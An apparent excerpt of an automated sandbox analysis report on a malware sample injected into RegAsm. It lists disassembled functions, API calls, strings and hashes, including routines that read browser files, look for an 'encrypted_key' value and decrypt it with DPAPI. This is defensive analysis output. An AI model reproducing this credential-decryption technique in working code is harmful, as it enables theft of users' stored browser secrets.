Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 004140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004140D5
RegOpenKeyExA.KERNEL32(80000001,01501508,00000000,00020119,?), ref: 004140F4
RegQueryValueExA.ADVAPI32(?,01501E18,00000000,00000000,00000000,000000FF), ref: 00414118
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414147
lstrcatA.KERNEL32(?,01501E60), ref: 0041415B

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$OpenQueryValuememset
String ID:
API String ID: 558315959-0
Opcode ID: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 6C36C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C36C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C36C969
GetSystemInfo.KERNEL32(?), ref: 6C36C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C36C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C36C9E2

Memory Dump Source

Source File: 00000003.00000002.1877528782.000000006C351000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C350000, based on PE: true

Associated: 00000003.00000002.1877500933.000000006C350000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877795074.000000006C3CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877916043.000000006C3DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877943036.000000006C3E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c350000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: b7a96b38b57c775682ddf286f965bf43a21729f3cd520afbf7bf89d029112969
Instruction ID: d09a1ae739e76b5993c8d58d10d6ebecf8d37d6ce21857242f81be25c2a72499
Opcode Fuzzy Hash: b7a96b38b57c775682ddf286f965bf43a21729f3cd520afbf7bf89d029112969
Instruction Fuzzy Hash: E521D7317416146BDF04AE75EC88BAE73BDAB4A708F50051AF943A7E84DB606D008FA1

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014FA9E8), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,014FA9B8), ref: 00410866
StrCmpCA.SHLWAPI(00000000,014FAA08), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,014FA9E8), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,014FA9B8), ref: 00410866
StrCmpCA.SHLWAPI(00000000,014FAA08), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(014FACE8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(01501208,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(014FACE8,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

Jn@, xrefs: 00406BED, 00406C0D, 00406C8F
@Jn@, xrefs: 00406C80, 00406C83
Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 004183DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegQueryValueExA.KERNEL32(00000000,015018C8,00000000,000F003F,?,00000400), ref: 004184EC
lstrlenA.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,01501790,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 2745a0ba8eb15d3c1f0b65b5c657a669296e82b89610ecc7bb468d10700aed3a
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,015003D8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01501A30,00420AFF), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

